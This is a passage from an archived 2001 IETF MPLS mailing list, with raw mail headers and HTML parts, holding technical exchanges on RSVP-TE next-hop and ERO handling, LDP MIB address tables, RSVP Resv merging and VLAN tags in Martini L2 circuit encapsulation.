<P><FONT SIZE=3D2>Ok.&nbsp; Assuming RTA is the headend of the tunnel, =
there are a few ways to ensure</FONT>
<BR><FONT SIZE=3D2>that the LSP follows the path RTA-RTB-RTD:</FONT>
</P>

<P><FONT SIZE=3D2>1. Explicit path where you simply specify the =
next-hops but it is still run</FONT>
<BR><FONT SIZE=3D2>against the TED to ensure the contraints are =
met</FONT>
</P>

<P><FONT SIZE=3D2>2. You could use something like the affinity bits to =
control this (although</FONT>
<BR><FONT SIZE=3D2>this is not the cleanest way of acheiving the =
goal).</FONT>
</P>

<P><FONT SIZE=3D2>3. you could set your igp cost and bandwidth to look =
most attrictive along</FONT>
<BR><FONT SIZE=3D2>this path.</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>-ajay</FONT>
<BR><FONT SIZE=3D2>MMS:</FONT>
<BR><FONT SIZE=3D2>MMS:Best Regards.</FONT>
<BR><FONT SIZE=3D2>MMS:marshall</FONT>
<BR><FONT SIZE=3D2>MMS:</FONT>
</P>

<P><FONT SIZE=3D2>-- </FONT>
<BR><FONT SIZE=3D2>Ajay Simha</FONT>
<BR><FONT SIZE=3D2>MPLS Deployment Engineer</FONT>
<BR><FONT SIZE=3D2>IOS Technology Division</FONT>
<BR><FONT SIZE=3D2>(919) 392-3141</FONT>
</P>

<P><FONT SIZE=3D2>&quot;Study as if you were to live forever</FONT>
<BR><FONT SIZE=3D2>&nbsp;Live as if you were to die =
tomorrow&quot;</FONT>
</P>

<P><FONT SIZE=3D2>&nbsp;- Mahatma Gandhi</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C15B89.39D7DDA0--


From owner-mpls@UU.NET  Tue Oct 23 07:32:38 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA26519
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 07:32:38 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllyz07809;
	Tue, 23 Oct 2001 11:29:58 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllyz00084
	for mpls-outgoing; Tue, 23 Oct 2001 11:29:24 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllyz00074
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 11:29:15 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllyz10895
	for <mpls@uu.net>; Tue, 23 Oct 2001 11:29:12 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQllyz06596
	for <mpls@uu.net>; Tue, 23 Oct 2001 11:29:29 GMT
Received: from m2vwall3.wipro.com (m2vwall3.wipro.com [164.164.29.237])
	by wiprom2mx1.wipro.com (8.11.3/8.11.3) with SMTP id f9NBTFl18623
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:59:15 +0530 (IST)
Received: from 192.168.2.18 by m2vwall3.wipro.com (InterScan E-Mail VirusWall NT); Tue, 23 Oct 2001 16:59:02 +0530
Received: from alcatel-gw.wipinfo.soft.net ([192.168.220.200])
          by sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GLNP8H00.CCJ for <mpls@uu.net>; Tue, 23 Oct 2001 16:59:05 +0530 
Received: from boochi.alc.wipinfo.soft.net ([192.168.220.203]) by alcatel-gw.wipinfo.soft.net (8.7.5/8.9.3) with ESMTP id MAA14339 for <mpls@uu.net>; Tue, 23 Oct 2001 12:08:10 +0530
Date: Tue, 23 Oct 2001 17:02:50 +0400 (RET)
From: "Nagabhushana Ramaswamy Nadig" <nagabhushana.ramaswamy@wipro.com>
X-X-Sender: <bhushanr@boochi.alc.wipinfo.soft.net>
Reply-To: <nagabhushana.ramaswamy@wipro.com>
To: <mpls@UU.NET>
Subject: addresses advertised in LDP -- LDP MIB
Message-ID: <Pine.LNX.4.31.0110231657390.25482-100000@boochi.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hello,
	Thought of asking you people!! If I am not wrong we will be
sending hello messages for each LabelSpace that we configure on a LSR,
that means for each entity in the LDP MIB.
	Where are the addresses that are "to be advertised over the
sessions that get established over this entity" represented in the LDP
Mib? Where am I missing this??
	I find one address Database related Table which is read-only, so I
suppose this is meant only to know what addresses the peers have
advertised to me... am I right?

thanks in advance
Bhushana




From owner-mpls@UU.NET  Tue Oct 23 10:25:29 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04502
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 10:25:29 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllzl16634;
	Tue, 23 Oct 2001 14:21:24 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllzl12113
	for mpls-outgoing; Tue, 23 Oct 2001 14:21:14 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllzl12108
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 14:21:09 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQllzl09286
	for <mpls@uu.net>; Tue, 23 Oct 2001 14:15:31 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQllzl06504
	for <mpls@uu.net>; Tue, 23 Oct 2001 14:15:21 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA28877
	for <mpls@uu.net>; Tue, 23 Oct 2001 10:15:28 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA06630
	for <mpls@uu.net>; Tue, 23 Oct 2001 10:15:27 -0400 (EDT)
Message-ID: <3BD57B8F.C445EC8C@marconi.com>
Date: Tue, 23 Oct 2001 10:15:43 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: the nexthop of RSVP_TE.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Marshall Ma Shaowen wrote:
> 
> hi, all
> I have a question about the nexthop of RSVP_TE.
> as the draft said that we should follow the ERO to forward the
> packet.
> but the rfc2205 says that the destination address is the egress ip
> address.
> so there is some problem about this

What's the problem?  You pick your next-hop based on the ERO.  You write
the destination address in the IP header and send the packet to your
chosen next-hop.

(Note that a stock IP stack may not let you send to a next-hop that is
not chosen by the destination address and local routing table.  If you
have such a stack, you may need to upgrade or modify it.)

> RTA
>  |
> -+--------------+---------------+----------------
>                 |               |
>                 |               |
>                RTB             RTC
>                 |               |
>                 |               |
> ----------------+---------------+--------------+-
>                                                |
>                                               RTD

(I cleaned up your drawing a bit.  ASCII-art with variable-width fonts
does not result in readable diagrams.)

> if the CSPF caclulate a path next hop by RTB and then RTD.
> but if the RTA send out the packet with the destiantion of RTD,
> both the RTB and RTC will forward this packet. so How can ensure
> the LSP establish through RTA-RTB-RTD ?

Why will both routers forward the packet?  Only one of them is your next
hop.  The packet is only going to be sent to one of them.

If you are using a broadcast network (as your diagram implies), RTA will
ARP for the next-hop (RTB).  It will put that address in the layer-2
header.  RTC should ignore the packet, since its layer-2 address
indicates a different router.

This is no different from sending an unlabeled packet without an ERO
over this network topology.

(If you have point to point links, then the entire question is moot,
since there is only one neighbor per interface, by definition.)

-- David


From owner-mpls@UU.NET  Tue Oct 23 10:26:21 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04568
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 10:26:20 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllzl29651;
	Tue, 23 Oct 2001 14:23:01 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllzl12201
	for mpls-outgoing; Tue, 23 Oct 2001 14:22:28 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQllzl12196
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 14:22:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllzl28444
	for <mpls@UU.NET>; Tue, 23 Oct 2001 14:19:44 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQllzl23659
	for <mpls@UU.NET>; Tue, 23 Oct 2001 14:20:02 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA29325
	for <mpls@UU.NET>; Tue, 23 Oct 2001 10:19:42 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA08072
	for <mpls@UU.NET>; Tue, 23 Oct 2001 10:19:42 -0400 (EDT)
Message-ID: <3BD57C8E.C60279E9@marconi.com>
Date: Tue, 23 Oct 2001 10:19:58 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: the nexthop of RSVP_TE.
References: <751B6DD7A243D511AB9F0002557C568701460B32@HUAWEIMAIL>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Marshall Ma Shaowen wrote:
> 
> thanks for David Charlap.he give me the solution.

Sorry.  I accidentally sent my reply to Marshall and not to the group. 
It's been sent now.

> I konw the rfc2205 doesn't talk about the LSPs.but if I follow the
> rfc2205, I will choose the RTD's IP address as the packet's
> destination address. and If I send  the packet with the IP address
> of RTB . I can not let the router that don't know RSVP to forward
> the packet as the rfc2205 said.

You do not send the packet with RTB's address.  You send it with RTD's
address.  RTB is the next-hop, not the destination.

> but along the way of LSP. if a router don't know RSVP. I cannot
> setup a LSP.  So I follow the destination address will be set as
> RTB's IP address.  and I can update my IP stack to let socket send
> out a packet based on the nexthop. and I got another question ,
> if I choose RTB's IP address,do we need to implement Router Alert
> option in IP option ?

Yes, you must use router-alert.  Without it, RTB will forward a
properly-formed packet, which is incorrect behavior.  RTB must intercept
the packet and process it.

If you actually send the packet to RTB, the packet will get delivered
there, but your behavior will be incorrect.

-- David


> RTA
>  |
> -+--------------+---------------+----------------
>                 |               |
>                 |               |
>                RTB             RTC
>                 |               |
>                 |               |
> ----------------+---------------+--------------+-
>                                                |
>                                               RTD


From owner-mpls@UU.NET  Tue Oct 23 10:27:07 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA04607
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 10:27:07 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllzl19787;
	Tue, 23 Oct 2001 14:23:00 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllzl12229
	for mpls-outgoing; Tue, 23 Oct 2001 14:22:55 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQllzl12224
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 14:22:52 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllzl26501
	for <mpls@UU.NET>; Tue, 23 Oct 2001 14:22:07 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQllzl15631
	for <mpls@UU.NET>; Tue, 23 Oct 2001 14:22:25 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA29598
	for <mpls@UU.NET>; Tue, 23 Oct 2001 10:22:05 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id KAA09268
	for <mpls@UU.NET>; Tue, 23 Oct 2001 10:22:04 -0400 (EDT)
Message-ID: <3BD57D1B.946EDD1A@marconi.com>
Date: Tue, 23 Oct 2001 10:22:19 -0400
From: David Charlap <David.Charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP related question
References: <F128JTGKGcdmRAVjOZJ0001580c@hotmail.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hariom P wrote:
> 
> In the RFC2209, under the explaination for RESV_REFRESH sequence,
> B_Merge local flag is defined and used..

RFC 2209 is an informational draft, not a standard.  It defines one
possible implementation.  Your implementation does not have to match
it's design.

> I have failed to understand the intent of using this variable.. I
> would really appreciate if any one could help me understand the
> purpose and usage of this variable in that context..

Blockade states and Resv merging are only applicable in a multicast
situation, where one incoming Path message results in more than one
outgoing Path message.  This situation results in one Path state
matching multiple incoming Resv states, which must be merged before
forwarding the Resv to the phop router.

-- David


From owner-mpls@UU.NET  Tue Oct 23 11:39:04 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA08038
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 11:39:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllzq03728;
	Tue, 23 Oct 2001 15:34:57 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllzq07537
	for mpls-outgoing; Tue, 23 Oct 2001 15:34:16 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllzq07529
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 15:34:11 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllzq17294
	for <mpls@uu.net>; Tue, 23 Oct 2001 15:34:03 GMT
Received: from bart.cwnt.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [192.116.246.129])
	id QQllzq20044
	for <mpls@uu.net>; Tue, 23 Oct 2001 15:34:15 GMT
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15BD8.1AE11CEB"
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
Subject: some VLAN clarifications
Date: Tue, 23 Oct 2001 17:33:46 +0200
Message-ID: <C7DF4400240AFB4095D98C7C6EC2A34A0B7A62@bart.cwnt.com>
Thread-Topic: some VLAN clarifications
Thread-Index: AcFb2BkqrmwC/cbtEdWnRgDQt0l3dw==
From: "Amir Shatil" <shatil@cwnt.com>
To: <mpls@UU.NET>, <ppvpn@zephion.net>
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------_=_NextPart_001_01C15BD8.1AE11CEB
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

Hi
few Questions about draft-martini-l2circuit-encap-mpls-03.txt:=20
1. In section 4.3 it is stated (about the VLAN tag) =93=85and MAY be
overwritten by the egress router.=94
What are the cases in which this might happen?
In this case, does the VLAN tag lose its original meaning and functions
only as a VC ID (more like a DLCI in F/R)?=20
2. Is the reason for carrying the ethernet VLAN L2 encapsulation
(section 4.3 "For an Ethernet 802.1q VLAN the entire Ethernet frame
without the

   preamble or FCS is transported as a single packet") is only to
preserve the original SA & DA ?
Thanks
Amir.

=20

=20

------_=_NextPart_001_01C15BD8.1AE11CEB
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Dwindows-1255">


<META content=3D"MSHTML 5.00.3105.105" name=3DGENERATOR></HEAD>
<BODY>
<DIV><PRE><SPAN class=3D268132415-23102001>Hi</SPAN></PRE><PRE><SPAN =
class=3D268132415-23102001></SPAN><SPAN class=3D268132415-23102001>few =
Questions about draft-martini-l2circuit-encap-mpls-03.txt:</SPAN> =
</PRE><PRE class=3DMsoNormal style=3D"DIRECTION: ltr; TEXT-ALIGN: left; =
unicode-bidi: embed"><SPAN class=3D268132415-23102001>1. </SPAN>In =
section 4.3 it is stated (about the VLAN tag) =93=85and MAY be =
overwritten by the egress router.=94</PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; TEXT-ALIGN: left; unicode-bidi: embed">What are =
the cases in which this might happen?</PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; TEXT-ALIGN: left; unicode-bidi: embed">In this =
case, does the VLAN tag lose its original meaning and functions only as =
a VC ID (more like a DLCI in F/R)? </PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; TEXT-ALIGN: left; unicode-bidi: embed"><SPAN =
class=3D268132415-23102001>2. Is the reason for carrying the ethernet =
VLAN L2 encapsulation (section 4.3 "For an Ethernet 802.1q VLAN the =
entire Ethernet frame without the
   preamble or FCS is transported as a single packet") is only to =
preserve the original SA &amp; DA ?</SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; TEXT-ALIGN: left; unicode-bidi: embed"><SPAN =
class=3D268132415-23102001>Thanks</SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; TEXT-ALIGN: left; unicode-bidi: embed"><SPAN =
class=3D268132415-23102001>Amir.</SPAN></PRE></DIV>
<DIV class=3DSection1>
<P class=3DMsoNormal>&nbsp;</P></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------_=_NextPart_001_01C15BD8.1AE11CEB--


From owner-mpls@UU.NET  Tue Oct 23 12:08:30 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA09283
	for <mpls-archive@lists.ietf.org>; Tue, 23 Oct 2001 12:08:29 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQllzs22611;
	Tue, 23 Oct 2001 16:05:54 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQllzs20545
	for mpls-outgoing; Tue, 23 Oct 2001 16:05:15 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQllzs20536
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 16:05:10 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQllzs09976
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:05:04 GMT
Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.168.79])
	id QQllzs01022
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:05:22 GMT
Received: from erosen-u10.cisco.com (erosen-u10.cisco.com [161.44.134.50]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id MAA27280 for <mpls@uu.net>; Tue, 23 Oct 2001 12:05:02 -0400 (EDT)
Received: (erosen@localhost) by erosen-u10.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id MAA17201 for mpls@uu.net; Tue, 23 Oct 2001 12:05:01 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQllzs20262
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 23 Oct 2001 16:03:50 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQllzs18523
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:03:45 GMT
Received: from sj-msg-core-4.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-4.cisco.com [171.71.163.10])
	id QQllzs19164
	for <mpls@uu.net>; Tue, 23 Oct 2001 16:04:03 GMT
Received: from mira-sjcd-1.cisco.com (mira-sjcd-1.cisco.com [171.69.43.44])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f9NG3Vm02097;
	Tue, 23 Oct 2001 09:03:31 -0700 (PDT)
Received: from mwuw2k (sjc-vpn1-808.cisco.com [10.21.99.40])
	by mira-sjcd-1.cisco.com (Mirapoint)
	with SMTP id AAZ12931;
	Tue, 23 Oct 2001 09:03:19 -0700 (PDT)
Reply-To: <mwu@cisco.com>
From: "Michael Wu" <mwu@cisco.com>
To: "Amir Shatil" <shatil@cwnt.com>, <mpls@UU.NET>, <ppvpn@zephion.net>
Subject: RE: ppvpn some VLAN clarifications
Date: Tue, 23 Oct 2001 09:00:58 -0700
Message-ID: <IDEOKDKAJNIPNGPGJMCOAEANDOAA.mwu@cisco.com>
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001D_01C15BA1.3B52F800"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <C7DF4400240AFB4095D98C7C6EC2A34A0B7A62@bart.cwnt.com>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_001D_01C15BA1.3B52F800
Content-Type: text/plain;
	charset="windows-1255"
Content-Transfer-Encoding: 8bit


  -----Original Message-----
  From: owner-ppvpn@cthulu.dc1.dca57.zephion.net
[mailto:owner-ppvpn@cthulu.dc1.dca57.zephion.net]On Behalf Of Amir Shatil
  Sent: Tuesday, October 23, 2001 8:34 AM
  To: mpls@uu.net; ppvpn@zephion.net
  Subject: ppvpn some VLAN clarifications


Hi
few Questions about draft-martini-l2circuit-encap-mpls-03.txt:
1. In section 4.3 it is stated (about the VLAN tag) “…and MAY be overwritten
by the egress router.”
What are the cases in which this might happen?
>> So the SP doesn't need to have same vlan id at both ends. But this will
prevent STP working
   correctly unless the PE can modify the STP message accordingly.
In this case, does the VLAN tag lose its original meaning and functions only
as a VC ID (more like a DLCI in F/R)?
2. Is the reason for carrying the ethernet VLAN L2 encapsulation (section
4.3 "For an Ethernet 802.1q VLAN the entire Ethernet frame without the
   preamble or FCS is transported as a single packet") is only to preserve
the original SA & DA ?
>> 802.1p will be preserved as well.
Michael
Thanks
Amir.




------=_NextPart_000_001D_01C15BA1.3B52F800
Content-Type: text/html;
	charset="windows-1255"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dwindows-1255">
<META content=3D"MSHTML 6.00.2600.0" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DCourier color=3D#008080 size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE dir=3Dltr style=3D"MARGIN-RIGHT: 0px">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B>=20
  owner-ppvpn@cthulu.dc1.dca57.zephion.net=20
  [mailto:owner-ppvpn@cthulu.dc1.dca57.zephion.net]<B>On Behalf Of =
</B>Amir=20
  Shatil<BR><B>Sent:</B> Tuesday, October 23, 2001 8:34 AM<BR><B>To:</B> =

  mpls@uu.net; ppvpn@zephion.net<BR><B>Subject:</B> ppvpn some VLAN=20
  clarifications<BR><BR></FONT></DIV>
  <DIV><PRE><SPAN class=3D268132415-23102001>Hi</SPAN></PRE><PRE><SPAN =
class=3D268132415-23102001></SPAN><SPAN class=3D268132415-23102001>few =
Questions about draft-martini-l2circuit-encap-mpls-03.txt:</SPAN> =
</PRE><PRE class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: =
embed; TEXT-ALIGN: left"><SPAN class=3D268132415-23102001>1. </SPAN>In =
section 4.3 it is stated (about the VLAN tag) =93=85and MAY be =
overwritten by the egress router.=94</PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left">What are =
the cases in which this might happen?<SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&nbsp;</FONT></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&gt;&gt; So the SP doesn't need to have same vlan id at both =
ends. But this will prevent STP working</FONT></SPAN></PRE><PRE =
class=3DMsoNormal style=3D"DIRECTION: ltr; unicode-bidi: embed; =
TEXT-ALIGN: left"><SPAN class=3D170085515-23102001><FONT face=3DCourier =
color=3D#008080 size=3D2>   correctly unless the PE can modify the STP =
message accordingly.</FONT>&nbsp;</SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left">In this =
case, does the VLAN tag lose its original meaning and functions only as =
a VC ID (more like a DLCI in F/R)? </PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001>2. Is the reason for carrying the ethernet =
VLAN L2 encapsulation (section 4.3 "For an Ethernet 802.1q VLAN the =
entire Ethernet frame without the
   preamble or FCS is transported as a single packet") is only to =
preserve the original SA &amp; DA ?<SPAN =
class=3D170085515-23102001><FONT face=3DCourier color=3D#008080 =
size=3D2>&nbsp;</FONT></SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001><SPAN class=3D170085515-23102001><FONT =
face=3DCourier color=3D#008080 size=3D2>&gt;&gt; 802.1p will be =
preserved as well.</FONT></SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001><SPAN class=3D170085515-23102001><FONT =
face=3DCourier color=3D#008080 =
size=3D2>Michael</FONT>&nbsp;</SPAN></SPAN></PRE><PRE class=3DMsoNormal =
style=3D"DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"><SPAN =
class=3D268132415-23102001>Thanks</SPAN></PRE><PRE class=3DMsoNormal =
